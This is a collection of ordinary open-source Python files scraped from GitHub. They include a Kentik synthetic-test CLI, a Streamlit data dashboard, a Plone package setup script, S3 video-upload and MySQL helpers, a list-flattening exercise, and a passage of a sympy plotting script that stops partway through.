+{"seq_id":"5911773134","text":"from datetime import datetime\nfrom pathlib import Path\nfrom typing import Dict, List, Optional\n\nimport typer\n\nfrom kentik_synth_client import KentikAPIRequestError, KentikSynthClient\nfrom kentik_synth_client.synth_tests import SynTest\nfrom kentik_synth_client.types import TestStatus\nfrom synth_tools import log\nfrom synth_tools.core import TestResults, load_test, run_one_shot\nfrom synth_tools.matchers import all_matcher_from_rules\nfrom synth_tools.utils import (\n    api_request,\n    dict_to_json,\n    fail,\n    get_api,\n    print_struct,\n    print_test,\n    print_test_config,\n    print_test_diff,\n    print_test_results,\n    print_tests,\n    print_tests_brief,\n    test_to_dict,\n)\n\ntests_app = typer.Typer()\n\n\ndef _get_test_by_id(api: KentikSynthClient, test_id: str) -> SynTest:\n    try:\n        return api.test(test_id)\n    except KentikAPIRequestError as exc:\n        if exc.response.status_code == 404:\n            fail(f\"Test with id '{test_id}' does not exist\")\n        else:\n            fail(f\"{exc}\")\n    return SynTest(name=\"non-existent\")  # never reached, because fail function (or other exception) terminates the app\n\n\ndef _parse_substitution(substitutions: Optional[str]) -> Optional[Dict[str, str]]:\n    subs: Optional[Dict[str, str]] = None\n    if substitutions:\n        subs = dict()\n        for e in substitutions.split(\",\"):\n            f = e.split(\":\", maxsplit=1)\n            if len(f) != 2:\n                fail(f\"Invalid substitution item '{e}' in substitutions ('{substitutions}')\")\n            subs[f\"@{f[0]}@\"] = f[1]\n    return subs\n\n\ndef _parse_timestamp(ts: str) -> datetime:\n    try:\n        if ts[-1] == \"Z\":\n            ts = ts[:-1] + \"+00:00\"\n        t = datetime.fromisoformat(ts)\n        if not t.tzname():\n            return datetime.fromisoformat(t.isoformat() + \"+00:00\")\n        else:\n            return t\n    except ValueError as exc:\n        fail(f\"Failed to parse timestamp: {exc}\")\n        return datetime.fromtimestamp(0)  # to make mypy happy\n\n\n@tests_app.command()\ndef one_shot(\n    ctx: typer.Context,\n    test_config: Path = typer.Argument(..., help=\"Path to test config file\"),\n    retries: int = typer.Option(3, help=\"Number retries waiting for test results\"),\n    summary: bool = typer.Option(False, help=\"Print summary rest results\"),\n    delete: bool = typer.Option(True, help=\"Delete test after retrieving results\"),\n    print_config: bool = typer.Option(False, help=\"Print test configuration\"),\n    json_out: Optional[str] = typer.Option(None, help=\"Path to store test results in JSON format\"),\n    substitutions: Optional[str] = typer.Option(\n        None, \"-s\", \"--substitute\", help=\"Comma separated list of substitutions in the form of 'var:value'\"\n    ),\n) -> None:\n    \"\"\"\n    Create test, wait until it produces results and delete or disable it\n    \"\"\"\n    api = get_api(ctx)\n    test = load_test(api, test_config, _parse_substitution(substitutions), fail=fail)\n    if not test:\n        return  # not reached, load test does no return without valid test, but we need to make linters happy\n    if print_config:\n        print_test(test)\n\n    typer.echo(\"Waiting for test to accumulate results ...\")\n    results = run_one_shot(api, test, retries=retries, delete=delete)\n\n    if json_out:\n        log.info(\"Writing results to %s\", json_out)\n        dict_to_json(json_out, results.to_dict())\n\n    if summary:\n        print_struct(\n            dict(\n                id=results.test_id,\n                type=results.test_type,\n                name=results.test_name,\n                status=results.status.name,\n                agents=results.test_agents,\n                polls=results.polls,\n            )\n        )\n    else:\n        print_struct(results.to_dict())\n\n\n@tests_app.command(\"create\")\ndef create_test(\n    ctx: typer.Context,\n    test_config: Path = typer.Argument(..., help=\"Path to test config file\"),\n    dry_run: bool = typer.Option(False, help=\"Only construct and print test data\"),\n    print_config: bool = typer.Option(False, help=\"Print test configuration\"),\n    fields: Optional[str] = typer.Option(None, \"-f\", \"--fields\", help=\"Config attributes to print\"),\n    substitutions: Optional[str] = typer.Option(\n        None, \"-s\", \"--substitute\", help=\"Comma separated list of substitutions in the form of 'var:value'\"\n    ),\n) -> None:\n    \"\"\"\n    Create test\n    \"\"\"\n    api = get_api(ctx)\n    test = load_test(api, test_config, _parse_substitution(substitutions), fail)\n    if not test:\n        return  # not reached, load test does no return without valid test, but we need to make linters happy\n    if dry_run:\n        print_test(test, attributes=fields)\n    else:\n        test = api_request(api.syn.create_test, \"TestCreate\", test)\n        if not test:\n            return  # to make linters happy - api_request does not return on failure\n        typer.echo(f\"Created new test - id: {test.id}\")\n        if print_config:\n            print_test(test)\n\n\n@tests_app.command(\"update\")\ndef update_test(\n    ctx: typer.Context,\n    test_id: str = typer.Argument(..., help=\"Id of the test to update\"),\n    test_config: Path = typer.Argument(..., help=\"Path to test config file\"),\n    dry_run: bool = typer.Option(False, help=\"Construct new test config and compare it to existing\"),\n    print_config: bool = typer.Option(False, help=\"Print test configuration\"),\n    substitutions: Optional[str] = typer.Option(\n        None, \"-s\", \"--substitute\", help=\"Comma separated list of substitutions in the form of 'var:value'\"\n    ),\n) -> None:\n    \"\"\"\n    Update existing test\n    \"\"\"\n    api = get_api(ctx)\n    old = _get_test_by_id(api.syn, test_id)\n    new = load_test(api, test_config, _parse_substitution(substitutions), fail)\n    if not new:\n        return  # not reached, load test does no return without valid test, but we need to make linters happy\n    if dry_run:\n        if print_config:\n            typer.echo(\"--- New config:\")\n            print_test(new)\n            typer.echo(\"--- Diff:\")\n        print_test_diff(old, new, labels=(\"EXISTING\", \"NEW\"))\n    else:\n        new.edate = old.edate\n        test = api_request(api.syn.update_test, \"TestUpdate\", new, old.id)\n        typer.echo(f\"Updated test - id: {test_id}\")\n        if print_config:\n            print_test(test)\n\n\n@tests_app.command(\"delete\")\ndef delete_test(ctx: typer.Context, test_ids: List[str] = typer.Argument(..., help=\"ID of the test to delete\")) -> None:\n    \"\"\"\n    Delete test\n    \"\"\"\n    api = get_api(ctx)\n    for i in test_ids:\n        # Try to fetch test first in order to provide better error message if the test does not exist\n        _get_test_by_id(api.syn, i)\n        api_request(api.syn.delete_test, \"TestDelete\", i)\n        typer.echo(f\"Deleted test - id: {i}\")\n\n\n@tests_app.command(\"list\")\ndef list_tests(\n    ctx: typer.Context,\n    brief: bool = typer.Option(False, \"-b\", \"--brief\", help=\"Print only id, name and type\"),\n    fields: Optional[str] = typer.Option(None, \"-f\", \"--fields\", help=\"Config attributes to print\"),\n    json_out: bool = typer.Option(False, \"--json\", \"-j\", help=\"Print output in JSON format\"),\n) -> None:\n    \"\"\"\n    List all tests\n    \"\"\"\n    api = get_api(ctx)\n    tests = api_request(api.syn.list_tests, \"ListTests\")\n    if brief:\n        if json_out:\n            typer.echo(\"WARNING: --brief option overrides --json\", err=True)\n        print_tests_brief(tests)\n    else:\n        print_tests(tests, attributes=fields, json_format=json_out)\n\n\n@tests_app.command(\"get\")\ndef get_test(\n    ctx: typer.Context,\n    test_ids: List[str],\n    brief: bool = typer.Option(False, \"-b\", \"--brief\", help=\"Print only id, name and type\"),\n    fields: Optional[str] = typer.Option(None, \"-f\", \"--fields\", help=\"Config attributes to print\"),\n    json_out: bool = typer.Option(False, \"--json\", \"-j\", help=\"Print output in JSON format\"),\n) -> None:\n    \"\"\"\n    Print test configuration\n    \"\"\"\n    api = get_api(ctx)\n    tests = [_get_test_by_id(api.syn, i) for i in test_ids]\n    if brief:\n        if json_out:\n            typer.echo(\"WARNING: --brief option overrides --json\", err=True)\n        print_tests_brief(tests)\n    else:\n        print_tests(tests, attributes=fields, json_format=json_out)\n\n\n@tests_app.command(\"match\")\ndef match_test(\n    ctx: typer.Context,\n    rules: List[str],\n    brief: bool = typer.Option(False, \"-b\", \"--brief\", help=\"Print only id, name and type\"),\n    fields: Optional[str] = typer.Option(None, \"-f\", \"--fields\", help=\"Config attributes to print\"),\n    json_out: bool = typer.Option(False, \"--json\", \"-j\", help=\"Print output in JSON format\"),\n) -> None:\n    \"\"\"\n    Print configuration of test matching specified rules\n    \"\"\"\n    api = get_api(ctx)\n    matcher = all_matcher_from_rules(rules)\n    tests = api_request(api.syn.list_tests, \"ListTests\")\n    matching = [t for t in tests if matcher.match(test_to_dict(t))]\n    if not matching:\n        typer.echo(\"No test matches specified rules\")\n    else:\n        if brief:\n            if json_out:\n                typer.echo(\"WARNING: --brief option overrides --json\", err=True)\n            print_tests_brief(matching)\n        else:\n            print_tests(matching, attributes=fields, json_format=json_out)\n\n\n@tests_app.command(\"compare\")\ndef compare_test(\n    ctx: typer.Context,\n    test_id1: str = typer.Argument(..., help=\"Id of the first test to compare\"),\n    test_id2: str = typer.Argument(..., help=\"Id of the second test to compare\"),\n    print_config: bool = typer.Option(False, help=\"Print test configuration\"),\n) -> None:\n    \"\"\"\n    Compare configurations of 2 existing tests\n    \"\"\"\n    api = get_api(ctx)\n    t1 = _get_test_by_id(api.syn, test_id1)\n    t2 = _get_test_by_id(api.syn, test_id2)\n    print_test_diff(t1, t2, labels=(f\"test {test_id1}\", f\"test {test_id2}\"))\n    if print_config:\n        typer.echo(f\"\\ntest 1 ({test_id1}):\")\n        print_test(t1, indent_level=1)\n        typer.echo(f\"\\ntest 2 ({test_id2}):\")\n        print_test(t2, indent_level=1)\n\n\n@tests_app.command(\"pause\")\ndef pause_test(ctx: typer.Context, test_id: str) -> None:\n    \"\"\"\n    Pause test execution\n    \"\"\"\n    api = get_api(ctx)\n    # Try to fetch test first in order to provide better error message if the test does not exist\n    _get_test_by_id(api.syn, test_id)\n    api_request(api.syn.set_test_status, \"TestStatusUpdate\", test_id, TestStatus.paused)\n    typer.echo(f\"Paused test - id: {test_id}\")\n\n\n@tests_app.command(\"resume\")\ndef resume_test(ctx: typer.Context, test_id: str) -> None:\n    \"\"\"\n    Resume test execution\n    \"\"\"\n    api = get_api(ctx)\n    # Try to fetch test first in order to provide better error message if the test does not exist\n    _get_test_by_id(api.syn, test_id)\n    api_request(api.syn.set_test_status, \"TestStatusUpdate\", test_id, TestStatus.active)\n    typer.echo(f\"Resumed test - id: {test_id}\")\n\n\n@tests_app.command(\"results\")\ndef get_test_results(\n    ctx: typer.Context,\n    test_id: str,\n    raw_out: Optional[str] = typer.Option(\"\", help=\"Path to file to store raw test results API response\"),\n    json_out: Optional[str] = typer.Option(None, help=\"Path to file to store test results in JSON format\"),\n    start: Optional[str] = typer.Option(\n        None,\n        \"-f\",\n        \"--from\",\n        help=\"Timestamp (in ISO format) of the earliest sample to return. UTC timezone is assumed if none is specified\",\n    ),\n    end: Optional[str] = typer.Option(\n        None,\n        \"-t\",\n        \"--to\",\n        help=\"Timestamp (in ISO format) of the newest sample to return. UTC timezone is assumed if none is specified\",\n    ),\n    periods: int = typer.Option(3, help=\"Number of test periods to the past to request (alternative to from/to)\"),\n    agents: Optional[str] = typer.Option(\n        None, help=\"Comma separated list of agent IDs to include (default: all agents)\"\n    ),\n    aggregate: bool = typer.Option(False, help=\"Aggregate measurements over the requested time period\"),\n) -> None:\n    \"\"\"\n    Print test results and health status\n    \"\"\"\n    start_time: Optional[datetime]\n    end_time: Optional[datetime]\n    if start:\n        start_time = _parse_timestamp(start)\n    else:\n        start_time = None\n    if end:\n        end_time = _parse_timestamp(end)\n    else:\n        end_time = None\n    api = get_api(ctx)\n    t = _get_test_by_id(api.syn, test_id)\n    agent_ids: Optional[List[str]] = None\n    if agents:\n        agent_ids = agents.split(\",\")\n    data = api_request(\n        api.syn.results,\n        \"GetResultsForTests\",\n        t,\n        start=start_time,\n        end=end_time,\n        periods=periods,\n        agent_ids=agent_ids,\n        aggregate=aggregate,\n    )\n    if not data:\n        fail(f\"Test '{test_id}' did not produce any results\")\n    if raw_out:\n        log.info(\"Writing results data to %s\", raw_out)\n        dict_to_json(raw_out, data)\n    results = TestResults(t)\n    results.set_results(data)\n    if json_out:\n        log.info(\"Writing results to %s\", json_out)\n        dict_to_json(json_out, results.to_dict())\n    print_test_results(results.to_dict()[\"execution\"][\"results\"])\n\n\n@tests_app.command(\"trace\")\ndef get_test_trace(\n    ctx: typer.Context,\n    test_id: str,\n    targets: Optional[str] = typer.Option(\n        None, help=\"Comma separated list of target IP addresses to include (default: all)\"\n    ),\n    raw_out: Optional[str] = typer.Option(\"\", help=\"Path to file to store raw API response in JSON format\"),\n    start: Optional[str] = typer.Option(\n        None,\n        \"-f\",\n        \"--from\",\n        help=\"Timestamp (in ISO format) of the earliest sample to return. UTC timezone is assumed if none is specified\",\n    ),\n    end: Optional[str] = typer.Option(\n        None,\n        \"-t\",\n        \"--to\",\n        help=\"Timestamp (in ISO format) of the newest sample to return. UTC timezone is assumed if none is specified\",\n    ),\n    periods: int = typer.Option(3, help=\"Number of test periods to request\"),\n    agents: Optional[str] = typer.Option(\n        None, help=\"Comma separated list of agent IDs to include (default: all agents)\"\n    ),\n) -> None:\n    \"\"\"\n    Print test trace data\n    \"\"\"\n    start_time: Optional[datetime]\n    end_time: Optional[datetime]\n    if start:\n        start_time = _parse_timestamp(start)\n    else:\n        start_time = None\n    if end:\n        end_time = _parse_timestamp(end)\n    else:\n        end_time = None\n    api = get_api(ctx)\n    t = _get_test_by_id(api.syn, test_id)\n    agent_ids: Optional[List[str]] = None\n    if agents:\n        agent_ids = agents.split(\",\")\n    target_ips: Optional[List[str]] = None\n    if targets:\n        target_ips = targets.split(\",\")\n    trace = api_request(\n        api.syn.trace,\n        \"GetTraceForTests\",\n        t,\n        start=start_time,\n        end=end_time,\n        periods=periods,\n        ips=target_ips,\n        agent_ids=agent_ids,\n    )\n    if not trace:\n        fail(f\"Test '{test_id}' did not produce any trace data\")\n    if raw_out:\n        log.info(\"Writing trace data to %s\", raw_out)\n        dict_to_json(raw_out, trace)\n    print_struct(trace)\n\n\n@tests_app.command(\"import\")\ndef import_test(\n    ctx: typer.Context,\n    test_id: str = typer.Argument(..., help=\"Id of the test to import\"),\n) -> None:\n    \"\"\"\n    Compare configurations of 2 existing tests\n    \"\"\"\n    api = get_api(ctx)\n    test = _get_test_by_id(api.syn, test_id)\n    log.debug(\"test: %s\", test)\n    print_test_config(test)\n","repo_name":"kentik/synth_tools","sub_path":"synth_tools/commands/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":15338,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"38899291555","text":"import pandas as pd\nimport streamlit as st\nimport pygwalker as pyg\nfrom main import ui_analysis\n \nst.set_page_config(layout=\"wide\", page_icon=\"🧊\")\n\ndef default_dashboard():\n    sample = pd.read_csv('sample/sample_dataset.csv')\n    \n    # Graphic Walker\n    if sample is not None:\n        sample_output = pyg.walk(sample, env='Streamlit')\n        st.write(sample_output)\n\n \ndef main():\n    ui_analysis()\n    st.markdown(\"## - EDA using PyGwalker -\")\n    st.info(\"Visualization your dataset using PyGwalker\", icon=\"ℹ️\")\n    st.markdown(\"---\")\n    st.write(':sunglasses: Default dataset is sample. Please upload your dataset')\n\n    # upload original dataset\n    uploaded_file = st.file_uploader(\"Choose a CSV file\", type=\"csv\")\n    if uploaded_file is not None:\n        df = pd.read_csv(uploaded_file)\n                \n        output = pyg.walk(df, env='Streamlit')\n        st.write(output)\n        \n        if st.button('Show default dataset'): default_dashboard()\n            \n    else : default_dashboard()\n    \n    st.markdown(\"---\")\n    st.markdown('[PyGwalker : README](https://github.com/Kanaries/pygwalker)')\n    \n\nif __name__ == '__main__':\n    main()\n","repo_name":"shosuke-13/Stream-GBM","sub_path":"pages/Dashboard.py","file_name":"Dashboard.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"33201766468","text":"from setuptools import setup, find_packages\n\nversion = '1.0b5-dev'\n\nlong_description = (\n    open('README.txt').read()\n    + '\\n' +\n    'Contributors\\n'\n    '============\\n'\n    + '\\n' +\n    open('CONTRIBUTORS.txt').read()\n    + '\\n' +\n    open('CHANGES.txt').read()\n    + '\\n')\n\ntests_require = [\n    'Cheetah',\n    'templer.core',\n    'templer.buildout',\n    'templer.zope',\n    'unittest2',\n]\n\nlocalcommands_require = [\n    'templer.plone.localcommands',\n]\n\nsetup(name='templer.plone',\n      version=version,\n      description=\"Templer system extensions for plone add-on development\",\n      long_description=long_description,\n      # Get more strings from\n      # http://pypi.python.org/pypi?%3Aaction=list_classifiers\n      classifiers=[\n          \"Development Status :: 4 - Beta\",\n          \"Framework :: Zope2\",\n          \"Framework :: Zope3\",\n          \"Framework :: Plone\",\n          \"Framework :: Plone :: 3.2\",\n          \"Framework :: Plone :: 3.3\",\n          \"Framework :: Plone :: 4.0\",\n          \"Framework :: Plone :: 4.1\",\n          \"Framework :: Plone :: 4.2\",\n          \"Framework :: Plone :: 4.3\",\n          \"Framework :: Buildout\",\n          \"Intended Audience :: Developers\",\n          \"License :: OSI Approved :: MIT License\",\n          \"Programming Language :: Python\",\n          \"Programming Language :: Python :: 2.4\",\n          \"Programming Language :: Python :: 2.5\",\n          \"Programming Language :: Python :: 2.6\",\n          \"Programming Language :: Python :: 2.7\",\n          \"Topic :: Software Development :: Code Generators\",\n        ],\n      keywords='zope buildout plone',\n      author='Cris Ewing',\n      author_email='cris@crisewing.com',\n      url='https://github.com/collective/templer.plone',\n      license='MIT',\n      packages=find_packages('src'),\n      package_dir={'': 'src'},\n      namespace_packages=['templer'],\n      include_package_data=True,\n      zip_safe=False,\n      install_requires=[\n          'setuptools',\n          'templer.core',\n          'templer.buildout',\n          'templer.zope',\n      ],\n      tests_require=tests_require,\n      extras_require=dict(test=tests_require,\n                          localcommands=localcommands_require),\n      entry_points=\"\"\"\n      # -*- Entry points: -*-\n      [paste.paster_create_template]\n      plone_basic = templer.plone:Plone\n      plone_nested = templer.plone:NestedPlone\n      plone_tile = templer.plone:PloneTile\n      archetype = templer.plone:Archetype\n\n      [templer.templer_structure]\n      namespace_profile = templer.plone.structures:ProfileStructure\n      nested_namespace_profile = templer.plone.structures:NestedProfileStructure\n      \"\"\",\n      )\n","repo_name":"collective/templer.plone","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"22597600941","text":"import io\nimport logging\nimport os\n\nimport boto3\nimport moviepy.editor as mp\n\n\ndef resize_video(video_path: str, output_path: str, height: int = 360, verbose=True):\n    clip = mp.VideoFileClip(video_path)\n    logging.info(f\"starting resizing '{video_path}'\")\n    clip_resized = clip.resize(height=height)\n    create_file_dir(output_path)\n    clip_resized.write_videofile(output_path, verbose=verbose, logger=\"bar\" if verbose else None)\n    logging.info(f\"video resized and saved at '{output_path}'\")\n\n\ndef upload_to_s3(file_to_upload: str, bucket_name: str, object_key: str):\n    logging.info(f\"uploading {file_to_upload} to bucket '{bucket_name}'\")\n    s3_client = boto3.client(\"s3\")\n    s3_client.upload_file(file_to_upload, bucket_name, object_key)\n    logging.info(f\"upload completed - 's3://{bucket_name}/{object_key}'\")\n\ndef create_file_dir(file_path: str):\n    dirname = os.path.dirname(os.path.abspath(file_path))\n    if not os.path.exists(dirname):\n        os.makedirs(dirname)\n","repo_name":"Hamsajj/maginepro-technical-test","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31035487946","text":"import pymysql\nimport os\nimport sys\nimport pathlib\nimport pandas as pd\nimport numpy as np\n\nimport utils.config as config\n\ndef getconnect():\n    \"\"\"\n    return connect\n    \"\"\"\n    conn = pymysql.connect(host=config.host,\n                           user=config.user,\n                           password=config.password,\n                           db=config.db,\n                           port=config.port)\n    return conn\n\n\ndef get_cityinfo(conn, values,type):\n    \"\"\"\n    return pollution or climate or pred of db type(tuple)\n    \"\"\"\n    sql = \"select * from {} where city in (%s, %s, %s, %s, %s)\".format(type)\n    cursor = conn.cursor()\n    sql = sql.format(type)\n    cursor.execute(sql, values)\n    result = cursor.fetchall()\n    cursor.close()\n\n    conn.close()\n    \n    return result, cursor\n\n\ndef getdataFrameBytime(result, cursor, time='M'):\n    df = pd.DataFrame(result,columns=[i[0] for i in cursor.description])\n    df['date']  = pd.to_datetime(df.date)\n    df.set_index(\"date\", inplace=True)\n    df = df.groupby('city').resample(time).mean()\n    df['city'] = [i[0] for i in df.index]\n    df.index = [i[1] for i in df.index]\n    return df\n\n\n\n\n\n","repo_name":"Serein2/Air-normalization","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6000040103","text":"#aplanar una lista anidada utilizando el bucle for teniendo en cuenta los diferentes tipos de datos que se encuentran en la lista a aplanar\n\ndatos = [1,5,8,2,[1,5,6,7,],[1,[4,2,5,7,]]]\n\nplana = []\n\nfor dato in datos:\n    if type(dato) == int:\n        plana.append(dato)\n\n    elif type(dato) == list:\n        for elemento in dato:\n            if type(elemento) == int:\n                plana.append(elemento)\n\n            elif type(elemento) == list:\n                for objet in elemento:\n                    plana.append(objet)        \n\nprint(plana)\nprint(datos)                    ","repo_name":"francocoin1701/cursoPython_nivel15","sub_path":"typeAndIsinstance.py","file_name":"typeAndIsinstance.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74301968052","text":"'''eric.py for calculating moments of pie slices and plotting the\nslices and their moments.\n'''\nimport sys\nimport numpy as np\nimport sympy\nfrom sympy import collect\nparams = {'axes.labelsize': 18,     # Plotting parameters for latex\n          'text.fontsize': 15,\n          'legend.fontsize': 15,\n          'xtick.labelsize': 15,\n          'ytick.labelsize': 15}\nimport matplotlib as mpl\nimport numpy.linalg as LA\n\nclass sym:\n    '''Symbolic calculations of characteristics of images of initial points\n    z0=(h0,g0)\n    '''\n    def __init__(self):\n        h, g, h0, g0, a, d = sympy.symbols('h g h0 g0 a d')\n        #g1 = sympy.Max(-d, g0 + h0 - 1/(4*a))\n        g1 = g0 + h0 - 1/(4*a)\n        h1 = h0 - 1/(2*a)\n        parabola = d - a*h*h       # =g on boundary\n        slope = g1 + h - h1        # =g on line with slope=1 through z1\n        h2 = sympy.solve(parabola-slope,h)[0] # First solution is above z1\n        g2 = h2 - h1 + g1          # Line has slope of 1\n        g3 = g1\n        h3 = sympy.solve((parabola-g).subs(g, g1),h)[1] # Second is on right\n        r_a = sympy.Rational(1,24) # a=1/24 always\n        self.h = tuple(x.subs(a,r_a) for x in (h0, h1, h2, h3))\n        self.g = tuple(x.subs(a,r_a) for x in (g0, g1, g2, g3))\n        def integrate(f):\n            ia = sympy.integrate(\n                sympy.integrate(f,(g, g1, g1+h-h1)),\n                (h, h1, h2)) # Integral of f over right triangle\n            ib = sympy.integrate(\n                sympy.integrate(f,(g, g1, parabola)),\n                (h, h2, h3)) # Integral of f over region against parabola\n            return (ia+ib).subs(a, r_a)\n        i0 = integrate(1)               # Area = integral of pie slice\n        E = lambda f:(integrate(f)/i0)  # Expected value wrt Lebesgue measure\n        sigma = lambda f,g:E(f*g) - E(f)*E(g)\n        self.d = d\n        self.Eh = collect(E(h),sympy.sqrt(d-g0-h0+6))\n        self.Eg = E(g)\n        self.Sigmahh = sigma(h,h)\n        self.Sigmahg = sigma(h,g)\n        self.Sigmagg = sigma(g,g)\n        return\n    def Sigma(\n            self,   # sym instance\n            *args   # Float values for h0, g0 and d\n    ):\n        '''Returns covariance of image of z0=(h0,g0) as 2x2 array of floats.\n        '''\n        pairs = zip((self.h[0], self.g[0], self.d),args)\n        # paris[0] = (self.h0 (a sympy variable), h0 (a float argument))\n        hh = self.Sigmahh.subs(pairs).evalf()\n        hg = self.Sigmahg.subs(pairs).evalf()\n        gg = self.Sigmagg.subs(pairs).evalf()\n        return np.array([[hh,hg],[hg,gg]])\n    # FixMe: def zn(self, n, *args)\n    def zn(\n            self,  # sym instance\n            n,     # index of point to return\n            *args  # Float values for h0, g0 and d\n    ):\n        ''' Returns (h[n],g[n]) as pair of floats\n        '''\n        pairs = zip((self.h[0], self.g[0], self.d),args)\n        h = self.h[n].subs(pairs).evalf()\n        g = self.g[n].subs(pairs).evalf()\n        return (h,g)\n    def Ez(\n            self,  # sym instance\n            *args  # Float values for h0, g0 and d\n    ):\n        '''Returns expected value (ie, mean) of z over image of z0=(h0,g0) as\n        pair of floats.\n        '''\n        pairs = zip((self.h[0], self.g[0], self.d),args)\n        h = self.Eh.subs(pairs).evalf()\n        g = self.Eg.subs(pairs).evalf()\n        return (h,g)\n    \ndef lineplot(*args,**kwargs):\n    '''Plot a line from za to zb on ax and pass other args and kwargs to\n    the plot call.\n    '''\n    ax,za,zb = args[0:3]\n    ax.plot((za[0],zb[0]),(za[1],zb[1]),*args[3:],**kwargs)\ndef symplot(*args,**kwargs):\n    '''Plot a point at za on ax and pass other args and kwargs to\n    the plot call.\n    '''\n    ax,za = args[0:2]\n    ax.plot(za[0],za[1],*args[2:],**kwargs)\n\ndef f_n(\n        args,\n        dummy,\n        plt\n):\n    '''Make a figure to illustrate iterations of the function f that gives\n    z_1 = f(z_0), namely f^n(h,g) = (h - 12n, g + n(h - 6n))\n\n    '''\n    fig = plt.figure(figsize=(10,8))\n    ax = fig.add_subplot(1,1,1)\n    \n    # Plot the boundary\n    h_max = (48*args.d)**.5 # Scalar value of biggest h\n    h =  np.linspace(-h_max, h_max, 41)\n    boundary = lambda h: args.d -h*h/24\n    g = boundary(h)\n    ax.plot(h, g, 'b-', label=r'$\\rm boundary$')\n\n    F = lambda z: (z[0]-12, z[1]+z[0]-6)\n    \n    # Plot F^n\n    h_0, g_0 = 0.0, args.d - 2.5\n    n = np.linspace(-4, 4, 41)  # Step size 0.2\n    h_n = h_0 - 12*n\n    g_n = g_0 + n * (h_0 - 6*n)\n    ax.plot(h_n, g_n, 'm.', label=r'$F^n$')\n\n    # Plot images of points on h=0\n    for z_0 in [(0,g) for g in np.linspace(-args.d, args.d, 11)]:\n        z_1 = F(z_0)\n        symplot(ax,z_0,'g.')\n        symplot(ax,z_1,'r.')\n        lineplot(ax,z_0,z_1,'g--')       # line from z0 to z1\n    lineplot(ax,z_0,z_1,'g--', label=r'$[z_0,z_1]\\,\\rm lines$')\n    ax.set_xlabel('$h$')\n    ax.set_ylabel('$g$')\n    ax.legend()\n    return fig\n\ndef eric(\n        args,\n        s,     # A sym instance\n        plt\n    ):\n    '''Make a single figure to show the following for several starting points\n    z_0:\n\n    boundary  Parabolic boundary of the allowed region in G x H\n    pie-slice Image of z_0\n    z_1       Vertex of pie slice\n    z_2       Intersection of diagonal edge of pie slice and boundary \n    z_3       Intersection of flat edge of pie slice and boundary\n    mu        Mean of pie slice\n    ellipse   Level set of quadratic z^t \\Sigma^{-1} z\n    '''\n\n    def ellipse(C,M=500):\n        ''' Find M points on the level set x CI x = 1\n        '''\n        CI = LA.inv(C)\n        a = CI[0,0]\n        b = CI[0,1]\n        c = CI[1,1]\n        step = 2*np.pi/M\n        theta = np.arange(0,2*np.pi+0.5*step,step)\n        sin = np.sin(theta)\n        cos = np.cos(theta)\n        rr = 1/(a*cos*cos + 2*b*cos*sin + c*sin*sin)\n        r = np.sqrt(rr)\n        return (r*cos,r*sin)\n    \n    h_max = (48*args.d)**.5 # Scalar value of biggest h\n    h =  np.linspace(-h_max, h_max, 1000)\n    boundary = lambda h: args.d -h*h/24\n    g = boundary(h)\n    fig = plt.figure(figsize=(10,8))\n    ax = fig.add_subplot(1,1,1)\n    # Plot the boundary\n    ax.plot(h, g, 'b-')\n    ax.plot(h, np.ones(h.shape)*(-args.d),'b-')\n\n    assert len(args.points)%2 == 0\n    f_sources = np.array(tuple((args.points[2*i], args.points[2*i+1]) for i in \n                 range(int(len(args.points)/2))))\n    g = args.d*f_sources[:,1]      # Verticies of pie slices, ie, g_1\n    h_max = np.sqrt(24*(args.d-g)) # Array biggest h for each element of g\n    h = f_sources[:,0]*h_max       # Verticies of pie slices, ie, h_1\n    h_0 = h + 12\n    g_0 = g - h_0 + 6              # (h_0[i],g_0[i])=preimage of ith pie slice\n    for i in range(len(g)):\n        v = h_0[i], g_0[i], args.d # Vector of args for calls to s.*()\n        z = tuple(s.zn(n,*v) for n in range(4))\n        Ez = s.Ez(*v)\n        Sigma = s.Sigma(*v)\n        lineplot(ax,z[1],z[3],'r-')        # horizontal line\n        lineplot(ax,z[1],z[2],'r-')        # diagonal line\n        lineplot(ax,z[0],z[1],'g--')       # line from z0 to z1\n        h,g = ellipse(Sigma*2)\n        if i == 0:\n            symplot(ax,z[0],'g.',label=r'$z_0$')\n            symplot(ax,z[1],'r.',label=r'$z_1$')\n            symplot(ax,z[2],'m.',label=r'$z_2$')\n            symplot(ax,z[3],'k.',label=r'$z_3$')\n            symplot(ax,Ez,'b.',label=r'$\\mu$')\n            ax.plot(h+Ez[0], g+Ez[1], 'c-',label=r'$\\sqrt{2}\\Sigma$')\n        else:\n            symplot(ax,z[0],'g.')\n            symplot(ax,z[1],'r.')\n            symplot(ax,z[2],'m.')\n            symplot(ax,z[3],'k.')\n            symplot(ax,Ez,'b.')\n            ax.plot(h+Ez[0], g+Ez[1], 'c-')\n    ax.set_xlabel('$h$')\n    ax.set_ylabel('$g$')\n    ax.legend()\n    return fig\n\ndef main(argv=None):\n    '''For looking at map action and moments of images.\n\n    '''\n    import argparse\n    if argv is None:                    # Usual case\n        argv = sys.argv[1:]\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--d', type=float, default=(48.0),\n        help='Maximum of g')\n    parser.add_argument(\n        '--points', type=float, nargs='*', default=(\n            -0.99,  -0.99,\n            -1.0,  0.6,\n            .5,-.1,\n            -1.,  0.95,\n        ),\n        help='Specify pie slices with apexes at (fh,fg) as fractions')\n    parser.add_argument('--eric', type=str, default=None,\n        help=\"Write eric result to this file\")\n    parser.add_argument('--f_n', type=str, default=None,\n        help=\"Write f_n result to this file\")\n    parser.add_argument('--latex', type=str, default=None,\n        help=\"Write latex results to this file\")\n    